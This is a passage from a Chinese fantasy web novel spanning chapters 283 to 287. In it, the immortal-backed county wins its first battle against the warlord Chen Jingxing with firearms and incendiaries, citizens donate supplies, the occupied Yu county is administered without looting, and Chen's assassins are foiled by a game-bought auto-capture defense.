柳叁看敌军分散开来,不让震天雷效率最大化,这会自然让手下换上改造过的连射弩进攻。 反正敌军已经没多少盾牌兵还活着了,用震天雷是有些浪费,不如用弓箭混合着消耗一波。 而其余两个县城也是焦灼得很,其中尤其以冲县危急。 此县地理位置是最容易被攻破的地方,偏偏敌人还有不少,特意对着这关卡猛攻。 震天雷用上了,连射弩也用上了,但对于这些很难缠的敌人来说,实在是战况危急。 眼看情况不对,守城将领立即同意用燃烧/瓶。 先前作战前方大人曾说过,若非不是最危急时,不许用此物,实在是因为此物太强悍。 但眼下自然是到了要用燃烧/瓶的时候。 很快,燃烧/瓶被投掷出去,几乎瞬间火焰就炸开在人群里。 一开始沾染上火焰时,敌军就地打滚,试图扑灭身上的火,但很快便惊恐察觉——这火竟然灭不了! 哪怕是肉眼看着没有火焰了,但一旦起身,火焰不知又从哪儿钻出来,炙烤着皮肤。 被火烧死实在剧痛难耐,这些人开始脱衣服试图自救,只是火焰蔓延的很快,战场人员密度又大,再加上还有别的燃烧/瓶也在被不断投掷出来,敌军躲闪不及,个个身中这难以扑灭的火焰。 几乎瞬间,原先形势还尚且有希望的一战,此刻立马扭转。 敌军战败溃逃。 柳叁和另一县城并未来得及用燃烧/瓶,他们靠着稍好一些的地形优势,将敌军打得溃散,如今一鼓作气,上马狂追对方。 黄广骑马奔在前方,心里是崩溃的。 ——到底怎么回事?! 原先他想的是对方的火药不可能会一直有,等到消耗完毕手头库存后,便是他们将这玉县纳入囊中的时机。 但实际上,不等他等到那个时候,自家先被打碎了士气。 且估算一波后黄广看明白了,此战可能要输! 全是因为对方手里那新奇的武器。 该死——那到底是何武器? 原先为何不曾见过? 如此威力,若是对方库存还多的话,别说他们想攻打对方,对方不来骚扰他们都是好的了。 且最为重要的是,若一日不弄明白此物到底如何来的,不能制作好后也给自家配备上,这仗便不可能打得痛快。 黄广知晓这武器上的碾压可是很难靠着人海胜出的,就算是能,那也得要花费巨大代价才可。 思索一番后,他只顾着骑马狂奔,远离对方弩箭的攻击范围。 因目前处于安全距离,黄广一心只想回去将此次发现告知陈总督——起码在没弄清楚对方的武器是怎么来的情况下,他们必须暂时后退才是理智的选择。 而柳叁正紧追不舍。 黄广此人是陈京行手下的悍将,原先因个人能力和装备领先,所以基本上没打过败仗。 眼下恐怕是对方头一次吃瘪。 眼前是恼人的殿后队伍正在扰乱他们继续追赶,试图给前面队伍制造逃走的时机。 而这命令自然是黄广下的。 将领存在一日,敌军便还能凝聚在一起反抗。 若是今日不将此人射杀在当场,日后被他逃走岂不是更要麻烦? 普通士卒放走了便放走了,但这将领,今日必须留下! 想到这点,柳叁拿出火铳,冷眼透过眼前作乱的敌军,开始对准前方黄广的后心瞄准。 ——这距离弩箭追不上,但火铳能,而且还很轻松。 黄广只顾着全力驾马狂奔,甩着缰绳。 死亡的阴影很快便在胸口一掠而过,这点不对劲出现的时间太短,也太不符合现状。 即便是他经历过多次战斗,但这个距离可是一个绝对的安全距离。 无论是弩箭,亦或是投掷的暗器,通通不能对人造成威胁。 更何况还有后续队伍在为他们的撤离拖延时间。 就是这样的惯性思维让黄广放松了片刻。 ——得再快些,再往前赶一会,他便能将身后恼人的追兵甩掉,而后带着情报回归。 想得很好,但事实上,黄广只觉得心窝一痛。 难以描述的滚烫铁器似乎搅碎了他的心脏。 剧烈的痛苦让他顿时喷出一口血,手里的缰绳不自觉松手,整个人身子一歪,跌到了马下。 眼前所看之物瞬间颠倒,黄广只能看到眼前的马蹄扬起灰尘,从他身边呼啸奔驰而过。 黄广跌得猝不及防,他身旁的副将只以为是他分神不慎掉马,立即扯着缰绳,回头伸手一捞,和另一副将合作将他捞了上来。 因黄广完全无法动作,迟迟等不到自家将军像往常那般飞身上马,副将疑惑回头,便看到自家将军胸口涌出的血透湿了盔甲,嘴角脸庞也全是血。 深褐色的瞳孔已经散开到极限。 人死了。 副将瞳孔惊得骤缩,又不敢停留,马匹还在奔跑,他的脑内却快要搅成了浆糊。 怎么可能! 没有什么东西能在这个安全距离杀死自家主将,这不符合过往的任何一条经验! 但身后主将的身体逐渐冰凉,血液沿着马鞍滴滴答答往下流淌,浸透了他的衣物。 黏黏的,很难受。 尽管脑内无暇思考到底为何,但他不敢停,马匹速度飞快 这次要攻打的玉县到底是什么样的对手,从一开始他们就没能讨到好处,如今队伍更是溃不成兵。 这回甚至连主将都死了! 眼看黄广从马上跌落,柳叁便知晓他死得透彻。 他视力很好,能清楚的看到子/弹贯穿对方身体时迸开的血液。 柳叁抬起火铳,对准敌军的将领们,打算继续下手。 ——没什么比击溃将领更能让士气大崩的事了。 副将还在策马狂奔,此刻却突然回头看去。 不看不要紧,一看便看到身后追兵正拿着一黑漆漆之物对准他 什么东西?不曾见过。 难道就是这物将主将杀死的? 副将心里一寒,试图左右避开身后那人冷然阴森的视线,但很可惜,马匹移动距离有限,柳叁连射三枪,将这副将也击毙。 敌军眼看自家主副将均一前一后被追兵击毙,瞬间士气降低至零点。 原先还算有序的后撤现在立马成了毫无章法的仓皇出逃。 不等柳叁继续动手,不少人便因为惊慌失措闹了个人仰马翻。 这些人自然是看到了身后柳叁手中拿着的东西,只晓得被这玩意对准便会死去,眼下主副将接连毙命,自然为了活命,个个驾马狂奔,什么先后撤离顺序,什么规矩,此刻全成了耳旁风。 眼看敌军内部开始混乱,柳叁命人将火铳和武器拿出,配合着开始清扫战场。 火铳一出世,便让敌军心惊不已,惶恐这玩意是什么鬼神之物,又只顾着逃命。 不少人被追过来的追兵砍死,而距离远的则是被火铳杀死。 好不血腥。 不过还是对方人多,柳叁眼看着一小撮跑在最前方的人脱离了火铳的射程,如今再看敌军被他们处理得差不多,立即喊停,扭头直奔玉县。 今日一战被玉县的通讯道士仔仔细细,全部汇报给了方大人。 其余两县均传来好消息。 陈京行的三支队伍,无一支能顺利攻入,反而损失了两枚大将。 眼下只有一位将士仓惶逃走了。 首战告捷,此消息自然要登告在报纸上。 毕竟这打斗的动静不小,民众早就开始担心此战,若是不给百姓吃一颗定心丸,恐怕会影响日后民心凝聚。 除了登告首战胜利外,先前的三支队伍按照原计划执行,其中一队迅速开始攻入予县,在三县和敌军打得有来有往时,予县不出意料的被迅速占领,而后攻破。 次日,报纸公布最新消息。 “我军首战大捷!” 第284章 自愿 “我军首战大捷!” 此消息一经报纸登出顿时大快人心。 昨夜三县边缘的斗争大伙听得清楚,就算这样,第二日还是安安稳稳,什么事都没发生,厂子照样做活,工人继续上工,孩童继续上学,似乎像是完全没被这场战斗裹挟在内。 一大早,各县的报亭先开了门,来往的上班工人纷纷进去买最新的报纸,一个个都是抱着想去看看是否有最新消息流露出来。 做生意的商户打开大门,虽说如今受城外敌军威胁,但还是要开门做生意。 不过大部分人这个点都去了工厂,或者别的做活的地方,很少有人会一大早起来购买东西。 就算有,也是去买报纸。 商户们等着报童过来送报纸,然后将钱塞给报童。 等到看清楚上面所写,顿时瞪大眼睛,下半句想说的话全部卡在喉咙里。 ——这是惊到了。 报纸比以往任何一次都卖得快。 等看清楚那报纸内所说后,群情激昂,纵论大捷之事。 “果然昨夜是那陈京行这等贼子攻入了!我家离城墙最近,将这动静听得一清二楚,昨夜吓得我们一家都没睡着,倒是没想到这么快就将此事解决了!” “昨夜仙师可有出手?” “应当不曾!只听到了轰隆轰隆的巨响,吓死人了,我以为城墙要被攻破了!” “这正是秋收后,陈贼便带人来犯,是不是对方想趁着这秋收咱们兜里有钱有粮的,过来攻打成功后把钱粮都抢走?” 陈京行在这里的名声烂得不是一天两天了,一旦有人开口,立即又有人附和。 “依我看也是,既如今咱们已经开始对抗陈贼,粮草不到位不行,依我看,我等也该为本县做出贡献才是,虽说不能上阵杀敌,但总归家中粮食能给分出去一些,好让将士们粮草足够,这仗才能打得顺利。” 此人一经开口,周围自然都是附和。 大家想得很简单,目前他们暂且吃喝不愁,好日子才刚过了没多久,若是这几个县打输了,日后这好日子可能再也没有了。 有能力的出去打仗了,没能力的,像是他们这些普通百姓,也想为仙师,为方大人效力。 从情感上来说,众人没一个人想让如今才刚开始的好日子消失不见。 除了这普通百姓是这样想的,那些大户们聚集在一起谈论,更是激动。 “昨夜和陈贼交过手了,我军大捷!原我还担心仙师之后不会庇佑本县,现如今看来,这庇护依旧生效啊!” “据说昨晚异响不断,可能就是仙师出手了!” 众人谈论纷纷,但肉眼可见的淡定下来,原先众人早就担心此战,毕竟脑子清楚的人早就知晓,日后和陈京行一战定是难以避免,本想着这战役不死也得脱层皮,但谁能想到,竟然是这般轻飘飘的就打赢了首战。 这战役事关重大,虽说先前方大人还带头薅他们羊毛了,但换句难听的话,他们在哪都要被薅羊毛,那些人动手只会比方大人更狠,且平时他们在本县呆得属实是舒服,这人一旦舒服了,自然懒得挪窝,况且本县的自由开明程度吊打其他区域。 在这里,虽说他们的特权比原来少多了,但他们本就是有钱的商户,又不是什么底蕴深厚的大族,原先一直被官员们瞧不起,想尽办法捏在手心,现如今方大人上任后,整顿官场,整个官场真是前所未有的清廉。 不再需要绞尽脑汁去笼络官员,不再需要打点花费,一切只按照规章制度和流程办事。 虽说偶也恼火不能像以往那样用金银买通,流程比以前麻烦了许多。 但好处就在于,不再会被刻意卡进度,也不再会被恶意刁难,做生意成了字面上的做生意,不再需要那么多的勾心斗角,这些大户们斗了大半辈子,均是松了口气——这还挺轻松的,虽说不能走后门了,但后门又不是只有他一个人不能走,这完全是被焊死了,谁也别想走。 倒是从某种意义上来说,大伙算是处于同一个起跑线。 原以为流程增加了后,日后会麻烦,但事实上,恰恰相反,因为有了统一的流程,人人知晓该如何做事,一番运营下来,除了一开始有些麻烦外,之后大部分时候处理效率奇快无比。 种种好处,只有在本县内才能享受到。 这些大户也不傻,自然乐意在此地呆着。 之前众人属于是痛并快乐着,还经常担心敌人打进来了怎么办,现在好了,不用担心了,这陈贼还不等进来呢,先被打了出去。 连边缘县域的城墙都没攻破,这足够给原先摇摆不定的人一颗定心丸。 既己方有实力,那眼下最重要的便是立即扶持一把,好保留优势。 于是很快,这些人便聚集在一起,讨论着粮草银两,自家应当给出去多少钱,算作支持本县。 很快,方知意便收到了本县大大小小商户,以及民间普通百姓捐上来的物资和银两。 这些东西小山一样堆在仓库。 起初刚知晓群众竟然会自发捐献粮草,无论是方知意,亦或是祝应,或者是赵金构,仇离等人,无一人不震撼——原先若是战事告急,那也是官府半抢着去搜罗粮食,现如今不过是刚开战,百姓们便自发将粮草银两捐献出来,这怎么不算是百姓信任的证据? 方知意命人收下物资,第二日便在报纸上对此行为大肆宣扬,一来表示感谢,二来表示日后官府会替百姓赢得日后的战役,势必将百姓的安危放在第一位,三来则是表示,等一切安稳,这捐赠一事,官府定会回馈反还给百姓。 这话自然是方知意说的,同时也代表着仙师的立场。 方知意知晓仙师的性格,这位永远会像是北极星一样指引着她们前行的道路。 当然,多日来的操劳得到了百姓真实的肯定和回馈,眼下官府上上下下每个人都是激昂难耐的——搁在以往怎么可能会有这种事发生? 也倒是让他们有生之年赶上了,赶上了自己也能问心无愧的站在阳光底下接受着百姓自愿捐献的粮草,没有强迫,没有苦痛,只有一片赤诚之心。 并非每个人想当官都是为了好处,至少一开始,大部分人只是想为百姓做事,为百姓抒发不平,只是等进入官场,发现官场如同大染缸,不愿意沉浮的也被按下去搅乱成别的颜色。 到最后,自然分不清楚自己本心何在。 而眼下,因仙师和方大人,本县官场廉洁异常,一时间倒是让众人回忆起自己当初最初的那颗拳拳为民的心。 就这样,将被迫沾染上的痕迹慢慢洗净,又在这里将自己淘洗得发白。 这工作对得起良心,拿到的工钱足够养家,足够让他们在保持体面的同时有底子养家。 原来理想和现实可以融合得这般好,这般完美。 人的理想和现实卡在了一个极为巧妙的分界线,只要站在这条线上,他们可以昂首挺胸的获得自己一直所求的。 ——真好啊,真好。 因有百姓大肆捐献粮草银两,原先本就充足的军需顿时更是充盈几分。 方知意命人将这些捐献人的名字和捐献数额记录清楚,等着日后再反还。 与此同时,陈京行旗下的予县被攻破,派出去的队伍人数并不少,打头阵的是吴将领,此人有行军打仗的经验,是个谨慎细心的,而他身旁跟着个副将,名伍六。 此人原先是城外逃难来的流民,后来才知晓是从小练武的,只是运道不好,当时全家护着年幼的他想逃出去,却被流寇杀死。 伍六长得俊,人高马大,在这普遍吃不饱的年代里,此人还能长这么高壮,吴将领心想这大概就是随家里人了。 不过因家人被流寇杀死,伍六不喜说话,为人向来是凉的,但吴将领知晓,这是个面冷心热的好孩子。 且值得一提的是,伍六武术高强,精力充沛,在修炼了全县都修的仙师给的炼体功法后倒是愈发强悍。 在队伍里,天才总会被迅速发现,伍六也不例外。 在几次训练里,吴将领很快便发觉此人天赋惊人,观察了一段时间后,发现伍六不仅身体素质强悍,思维也很灵活敏捷,品行他打听过,也很仗义。 于是在日后,吴将领便将他调在身旁,亲自教导兵法,结合着方大人下发的新的训练手册,想将伍六在大战前调出来,毕竟目前来说,虽说挖掘出不少单兵作战能力强的,但事实上,本县有率兵作战经验的将领确实较缺。 此行的话,为让伍六迅速成长起来,便将他调为副将。 伍六推辞了一番,他以前从没领兵打过仗,贸然领兵他也有压力——对这么多条人命负责,他不知道自己是否能承担得起这责任。 但吴将领忽略了他的推辞,不由分说选定了他。 眼看对方都这样了,伍六没法,只能硬着头皮上了。 但真当踏入战场,伍六看到这群作恶的敌军,胸口的煞气便源源不断的涌出,本能掩盖过一切。 他清醒的冷眼杀了一个个敌军,又一次次做出合适的选择,将敌军一举击败。 吴将领很欣慰——比他想象中好多了,这伍六像是无师自通,此人天生便是带兵打仗的料子,原先教给他的,此人很快便能融会贯通,举一反三,各种兵法融入得无比自然,绝非凡人。 眼看伍六竟如此妖孽,吴将领顿时庆幸此人来到了风仙县,成了仙师旗下一员猛将,若是在敌军位置,恐怕会带来不小的麻烦! 第285章 激战 伍六这番强悍,自然有人欢喜有人愁。 予县被顺利攻破后,城内百姓瑟瑟发抖。 ——这又是哪一帮人?会不会杀烧抢掠,无恶不作? 原先那陈京行攻打进来后,命手底下的人玩乐三日,三日后这才离开本县,之后虽说陈京行将这块区域看做他旗下,不再让人烧杀抢掠,但压榨难以避免。 如今予县被攻破,这些普通百姓们以往完全不曾听过打过来的是何人,眼下只能在心底里祈求来的人是个好些的。 但又一想也是绝望——既敢打陈京行,此军定当凶残,如何能将期望放在对方头上? 只能带着妻子孩子老人钻进家里最隐蔽之处,生怕被闯进来的敌军杀死或者欺辱。 城内静悄悄一片,百姓也跑不了,原先有底气的大户们倒是在消息来临前迅速退至别的县内躲避灾祸,如今留下来的大都是普通的无力逃走的百姓们。 原先方大人曾下过死命令,攻入城内后不许对普通百姓动手动脚,无论是杀人亦或是抢夺,都不被允许,除非对方先出手伤人。 将予县攻破后,吴将领只是留下一波队伍负责看守予县的仓库,重要文书这些,大部分人依旧跟着继续南下。 因他们来时人数就多,所以有足够的人手可以留在予县看管。 这些人大都是后期从武馆或者是流民堆里训练出来的新兵们,本就没有原先士卒们那番作态,过来打仗,上面给的福利和薪资都很可观,且也是为了搏一个前程,所以队伍里所有人都异常听从命令。 等到大部队离开予县后,留守的部队自然是关了城门,其内的百姓自然瑟瑟发抖——原先予县陈京行的人都已经跑的跑,死的死,关的关了。 等了好几日,不见这新来的军队试图攻入他们家中抢掠,个个疑惑得很。 这几日,百姓们连火都不敢生,只是吃点家中现有的,心想不知道这群人什么时候离开。 等到予县城门再次打开时,负责战场后续处理的队伍已经跟进。 此番队伍里大都是新任命上任的文官们。 这群人到位后便开始告诉予县百姓们,他们代表仙师,如今予县既然被攻破,日后便属于仙师旗下,同享仙师庇护。 至于百姓们害怕的会不会烧杀抢掠自然是严令禁止的,但前提是不构成威胁,不会先一步动手。 这群文官解释得清楚。 等听明白这新来的人的通告后,百姓们虽说不太敢相信,但如今生死全在对方手里攥着,只能被迫相信。 就算他们能躲一日两日,但岂能躲得了一世? 过一些时日,自然会有人扛不住,出去采买东西,或者是因为别的事要出门。 而开店的又岂能一辈子不开店? 且对方完全一副霸占了予县,甚至打算长期发展,百姓们就算是再傻也看明白了。 既然如此,在做出一番艰难决策后,众人决定试着开始尝试正常生活。 起初大伙还会因为误入的官兵紧张得满头大汗,生怕对方一刀砍下来,亦或是狮子大开口索要孝敬。 甚至已经做了最坏的打算——将可给的银子拿出来,打算拿这些银两换取家人性命。 只是银两在兜里捂得都热了,还没能找到机会给出去。 也有人拿得快,不等对方开口便想将银两塞进去,结果那官兵像是躲避瘟神一样,顿时将那银两拍飞,再看看表情,完全是一副此子害我的模样。 众人:不是,这年头都不要银两了? 眼看着新来的官兵们毫无想要抢夺索取的想法,予县百姓们头一次觉得松了口气。 还没等轻松下来,结果就看到本县不少不曾逃走的,作恶多端的大户全被抄家,投入牢狱,而后这些官兵带队将这些人的财宝带走,充入县衙内。 众人看得心惊肉跳,一时半会理解不了这新来的官兵到底是作何打算,个个像是鹌鹑一样,只打算苟着,静看事态发展。 事实上,现在陈京行旗下的领地还不曾完全握在手心,方知意等人并没太多心思发展内部,只是先求个稳。 将管理层派过去不过是先对此地内部梳理,等不日将陈京行领地完全笑纳后,再统一管理即可。 且最重要的是,这个过程不会拖延很久,在方知意等人的预测中,最迟不会超过两个月。 若是顺利的话,甚至一个多月就能将此事了结。 三支队伍从三个方向围攻过去,因有火铳,震天雷,燃烧/瓶的加持,几乎是战无不胜。 且其中偶尔还掺杂着永道宫散发的符咒作为辅助力量,这一仗打得着实痛快。 伤亡数字极小,且士气越打越高。 陈京行早在几日前就收到了手下的消息——他派出去的三位将领只有一位侥幸逃脱,剩余的两位将领,包括往日颇受信赖的黄广也死了。 问起具体的战斗细节,手下人只会说对方不似有仙人帮助,但符咒定是用了,且最为重要的是,对方通讯快得很不寻常,他们吃了好几次亏,都是因为对方消息传递过于迅速,短短的几秒内,便能做到两地相通。 坏消息一个接一个。 最重要的是,这些人手中还有奇怪的武器,虽说叫不上名字,但他们知晓那玩意和火药味沾边。 但效果可控,且杀伤力惊人,且更变态的是,对方人人手中都有一把,看消耗的频率,像是这玩意库存不少,很舍得用。 如今陈京行的部队几乎是一退再退,毕竟他也心知肚明,刀剑如何能近身?不等接近,对方的火药便会将他们都干掉。 一味的上前不过是在送死而已。 就算他坚持要让手下人上,但士气低落,没人会想去送死。 这样效率奇低无比,他自然不会采用。 陈京行眼露凶光,以往淡定的表情不再。 必须得去找援兵,不然他一定会被对方逐渐吞没的。 很快,陈京行便将主意打到了景旭宫身上,里面有他这一派系的长老,先前他给了对方不少好处,如今也是该用到对方的时候了。 至于对方不来?那可由不得他。 当初两人互相扶持时就互相投递过去把柄,且是确认了真伪的,若是对方不肯添把手,陈京行不介意在临死前把对方也完全拖下水。 反正他地盘若是丢了,都别活了! 等到景旭宫前来后,恐怕能稍微将对方前进的步伐稍微拉迟一些。 等待景旭宫帮手到位的同时,陈京行也没闲着,他从战场上命人拿到了不少火铳,让工匠拆开研究了,看能不能复刻。 很快工匠个个摇头,表示在大炎朝内不曾见过这东西,且里面填充的子弹更是无从下手。 陈京行冷脸将一堆缴获的子弹递过去。 “若是本朝有,我还让你们费什么劲。 最多半个月,必须想办法弄出更多数量的子弹。” 既然复刻不出来,他只能去抢火铳,但火铳没有子弹根本不能用。 子弹是最为稀缺的。 除了让工匠们试着制作子弹,陈京行还做了二手准备,让手下精兵去寻找敌军的武器库,势必要攻破武器库,拿到武器才是。 那封求援信很快便传递到了景旭宫迎风长老手里。 看着这十万火急的救援信,迎风长老自然不乐意接下这活计。 但无奈,当初年轻时需要资源,他和这陈京行将命运用誓言绑在一起,便是一荣俱荣,一损俱损。 如今回想起来,迎风只想叹息当年自己不够有心计,太实诚了。 无奈,只能在宫内点了自己心腹,随他走一遭。 因有加速符的缘故,迎风长老和旗下一众弟子赶路很快。 等他到达时,陈京行稍微和他寒暄几句,便将大概说明白。 提及到敌方通讯妖孽之际,迎风微微思索道:“这我知道,应当是使用了联络符咒才是,不过这联络符咒只能道士使用,依我看,他们每支队伍都有一名道士作为通讯作用。” 陈京行惊讶:“这队伍可不少,他们从哪弄到的这些道士?” 迎风心想,天下的道士要么是景旭宫,要么便是永道宫的,这活计没什么油水,还耽误修炼,定不是他们宫内的。 “应当是永道宫的道士才是,想来对方应当许了永道宫不少好处,毕竟这打仗可是要耽误修炼的。” ——得把态度立明白了,他是过来救急了,但钱肯定是不能少要的,甚至还要多要。 陈京行自然懂对方的意思,这是变着法子点他。 心中冷笑,但脸上自然同意。 等到知晓这通讯符咒在其内的作用后,陈京行自然也要给自己部下配备通讯道士。 迎风带来的人不算少,分派下去后,也够用。 除了给己方增加通讯道士,消灭对方的通讯道士也是必须要做的事。 点了一队精通暗杀的人,他便将这刺杀任务放了出去。 陈京行在明州经营许久,自然有不少手下可用。 为让刺杀进行得更顺利,他甚至还从迎风手里高价预支了不少符咒。 这些精通刺杀的杀手,首要目的有两个,一是刺杀通讯道士,二是刺杀主将和副将。 因风仙县似有屏障无法偷偷潜入,不然陈京行第一个目标便是去刺杀那风仙县的县令。 要说陈京行此人比廖尚书聪明多了,对待手下的杀手和死士那叫一个妥帖,再加上陈京行面上演得异常平易近人,所以这些人对他可谓是忠心耿耿,甘愿赴汤蹈火。 这群杀手迅速执行任务,而陈京行则是命令手下各个队伍尽量拖延时间,好为暗杀队和工匠们拖延一番时间。 很快,各支队伍便遭到了暗杀队的攻击。 第286章 隐藏选项 队伍遭受暗杀队袭击时,恰好往常他们就有过这方面的演练,所以并没在第一时间慌了神,而是先将最重要的通讯道士和将领们保护在最内侧。 毕竟他们都清楚,这些杀手来的目的。 好在无论是通讯道士亦或是将领,个个其实都有保护自己的能力,尤其是通讯道士在参与这场战役前,个个都去永道宫的仇师祖那里领取了对应的护身法宝,这些护身法宝暂时足够他们坚持一炷香,毕竟战况多变,短短的一炷香时间,足以让支援到位。 这便是通讯道士们的最后护身符了。 陈京行派来的杀手确实厉害,若不是这护身符作用着,大部分通讯道士都得遭殃。 但一旦被发现,杀手的位置便从隐没在暗处变成了明处。 一个人的能力再强,也无法抗行一支队伍,更何况这支队伍本身也不弱,只是原先被打了个措手不及而已。 在一番苦斗后,有少数杀手逃走,一部分眼看被逮,立即咬舌自尽,动作慢点的,被阻碍后愤愤的瞪着眼前这些人,似乎还想骂着什么,但都被粗暴的塞进去手指,在嘴里摸索着是否有毒药。 掏出毒药后,个个嘴里塞了布子被送走。 当然,虽说通讯道士们没有生命危险,但来者汹汹,始终还是受了些伤。 有几名通讯道士不得已被迫下场,而同时永道宫又派人过来替换伤员。 这次被意外突击,实在是让众人更警惕了几分。 兔子急了还咬人呢,更何况陈京行可不是兔子,眼下战局眼看对他越来越不利,越往后,应当越是难打才是,毕竟陈京行可不是束手就擒的性子,此人恐会在无力回天之际来个玉石俱焚。 队伍加强了防范,巡逻得更是仔细,生怕再次让陈京行钻了空子。 先前的武器库,也增加了人手,避免被对方攻击后从而便宜了敌人。 与此同时,姜定的游戏界面却突然多出来个提醒。 【战役开始了,检测到你的防御能力似乎有所不足,是否要增强防御力?】 姜定开始瞪大眼睛看这提醒。 ——他才给紫卡人物下了任务,让对方找机会进攻,只是这游戏竟然没什么提醒,他冷不伶仃才知道战役已经开始了。 虽说有些感慨游戏的自由度实在是过于高,但眼下更重要的是看看如何提升防御力。 点开后续隐藏起来的条件,姜定抽了抽嘴角——好好好,就知道是要氪金。 还要得挺多,居然要花费50000两,才能获得全面防御。 上面一行小字标记得很清楚。 【全面防御包括360度无死角的防御,不会让敌人有任何的可乘之机。】 姜定啧啧有声。 这可真贵,好在他目前有钱提升防御,这要是当初有哪条路走错了,没攒够钱,岂不是这一场战役会打得很狼狈? 边吐槽边庆幸,姜定很快点了个确定提升。 话说,钱多了是好啊,当初他多花一个铜板都觉得心痛,今时不同往日,竟然变成了随随便便就能花个好几万两的人了。 按照他多年的游戏经验,五万两应当是一个限制条件,但对于目前的姜定来说,轻松得像是感觉这游戏货币贬值了一样。 仔细想想看,游戏货币体系还是很合理的,应该还是他玩游戏玩得太完美的缘故。 这道理很简单,他按照游戏预定的最完美路线行进的话,五万两的限制自然就像是不存在般轻松了。 五万两迅速消失,随后游戏提醒再次弹出来,显示防御力提升完毕。 看了看他的军队战斗力上标记着的【绝对防御中】状态,姜定松了口气。 不过值得一提的是,除了游戏自动弹跳出来的是否提升防御力外,还有个隐藏选项【自动抓捕】,后面还跟着标注。 【自动抓捕】(注:检测到您声望值大于50万,信众人数大于20万,银两大于50万两,特开放此选项。):在开启本选项后,你能无伤抓到主动冒犯你的敌人,可选择将他们杀死,放逐,亦或是收容。 注:每个选项都会造成不同的结果,请慎重对待。 姜定不由自主的心头狂跳。 好家伙,他现在声望值都这么高了? 话说这玩意到底是怎么计算的? 他怎么感觉他就是规规矩矩经营,种地啊? 还有这信徒是什么鬼,好好的种田基建游戏怎么搞得像是大型宣教游戏一样捏? 姜定疑惑,姜定很是不解,但他很顺从的接受了。 ——管他的,玩游戏嘛,大部分时候就连当事人都不知道自己是怎么触发奇遇,触发隐藏选项,无非就是个天时地利人和,他纠结的太多也没用,况且他本来就不是分析帝那性格,这玩意日后等分析帝上线后分析完毕他看一眼得了。 姜定很轻松的哄好了自己,又美滋滋的选择开启隐藏选项。 ——值得一提的是,这隐藏选项虽说不需要花钱了,但需要消耗不少物资,但对于囤囤鼠姜定本人来说,不仅不发愁,反而还松了口气。 啊啊啊啊啊,快要溢出的物资终于消耗出去了! 快要爆仓的物资等同于无用和麻烦,这便是姜定一贯的想法,毕竟他真的很懒,不想在存储上下大功夫去整理仓库。 这么消耗一番,总感觉仓库都清爽了许多。 现在不仅仅是有【绝对防御】状态了,还有个【自动抓捕】状态,看来成功唾手可得啊。 只需要静待即可。 而陈京行旗下派出去的暗杀队并非一支小队,这些人训练有素,制定了详尽的计划。 之前不过是暗杀队的一小部分人手,先出去试探一番对方底细,在摸清楚对方也并非想象中那么妖孽变态,不过是因为武器超前的原因,暗杀队在筹划一番后,决定先将武器库的通讯道士干掉,让他无法顺利发出去求救消息,这样便能将武器库顺利攻占下来。 等到拿到这批武器后,他们最重要的任务也算是完成了一个。 之后便能环伺在黑夜中,慢慢杀掉对方别的队伍里关键人物。 其实当时陈京行举明州之力,收了一大批身手极好的人,给他们最好的待遇,收买人心,这才换来了这些人死心塌地的追随。 说实话,陈京行对暗杀队很有信心,这些人是他多年来经营的结果,且往日没少替他出力,次次活计干得漂亮,没白培养。 要说这些杀手们其中不乏因为各种各样的理由投奔到陈京行旗下,一开始还觉得有背良心,但活干多了,也就麻木了,且还有顶头上司加恩人的肯定,自然慢慢变了性子。 ——说服自己所做不过是为了报恩。 天下都是一样的黑暗,一样的混乱,他们连自身都无法保全,在这乱世里更何况想保护那份心中的正义? 过往所学一身本领,本就无法报效心中理想。 给谁卖命不是卖?给谁当一把肮脏的剑不是当? 如今世道,若能报答父母养育之恩,哪怕自己臭着烂在泥泞里,家人能好好活着又何尝不算是自身本领还算有用? 若是说到灵魂在何处,他们只能想到这玩意应当只存在于那方寸的剑尖。 在一次次又一次的鲜血中,早就被腐蚀得看不清。 暗杀队的人很快便按照原计划执行任务,当初第一次试探时,他们便观察到了敌人的弱点,这次吸取了上次教训,调整刺杀方针后便开始动手。 以一个对方绝对不可能察觉的姿态出手后,此刻众人还是信心很充足的,毕竟他们身经百战,肉眼可见敌人会遭遇到什么。 之前他们察觉到了那通讯道士身上有法宝护身,先前他们采取的办法是射出去带毒的银针,以求一击毙命。 可惜被那护身法宝拦住了。 这次换了个方向,既然一下杀不死,那就先将对方打晕困住,起码不能让此人将消息传递出去。 出手的杀手是队伍里的一把手,以往从未失过手,众人对他都很放心。 眼看这通讯道士即将被放倒之际,诡异的事情却出现了。 暗杀队的首领看得清楚,分明那小道士压根没注意他的人,但是对方却面不改色,硬生生的抗下了一击。 且更令人惊悚的是,那率先出手的杀手竟然像是被无形的丝网困住,一时间便被控制了身体,束缚得死死的。 负责偷袭的杀手也是吃了一惊——怎么回事? 分明一切都在他的预料中,但等他手碰到那小道士时,先是觉得像是撞在什么极为坚硬的物体表面,而后不等他反应过来,身体立即被一张无形的大网束缚得丝毫不能动弹。 他越想挣扎,这网便越收得紧,甚至他能感觉到自己的血管因为压迫而跳得更为激烈。 莫非先前他们观察到的破绽是对方故意留给他们的?好让他们主动攻击跳进来? 暗杀队的首领立即看了过去,便看到那小道士似乎也被吓了一跳,像是完全没料到会有人偷袭他,这副模样说实话,实在不像是早有预备 既然已经被发现,必须要上了,否则这小道士定会将消息传递出去,等到人更多后,这次计划便会彻底失败。 想来刚才堪称诡异的一幕不过也是护身法宝的一种,这东西不可能会持续生效。 思及此处,众人得了眼色立即要上。 瞬间,身穿黑衣的杀手们腾空而起,个个手里拎着刀,直冲小道士而来。 这小道士惊得魂飞魄散——无论是谁,看到这一幕都会吓死吧!数柄刀具在月光下泛着银光,似乎在宣告着他快没命了 第287章 颓靡 完了!吾命休矣! 他还没来得及去永道宫总部啊!居然就在实习期就要被杀掉了! 但这人实在是太多了!也不知道从哪冒出来的,他甚至没有时间去喊救兵! 身上的护身法宝最多不过能支持一炷香,但那仅仅是针对一个敌人来说。 若是同时被这么多人攻击,他也不知道最后结局如何。 最重要的是,就算对方不能在一炷香内破他的防,这么多人,也足以妨碍他通讯求救了,等到一炷香时间一过,他算是死得透透的了! 小道士仰头,毫无血色的脸庞透露出恐惧。 其余的杀手一跃而起,眼看手中的砍刀落在小道士身上,却硬生生像是撞到了一块极为坚固的铠甲上。 分明是血肉之躯,却发出金鸣之声,甚至砍上去时,觉得手腕都被震得发麻。 ——不是,这不太合理吧? 莫非是护身法宝的作用? 小道士也愣了。 本以为会遭受剧痛,结果那砍刀砍过来后,他硬是一点痛感都没有——这和护身法宝的感觉不太一样,护身法宝虽然也有类似作用,但绝对做不到完全无感! 但既不是护身法宝,这到底是什么原因? 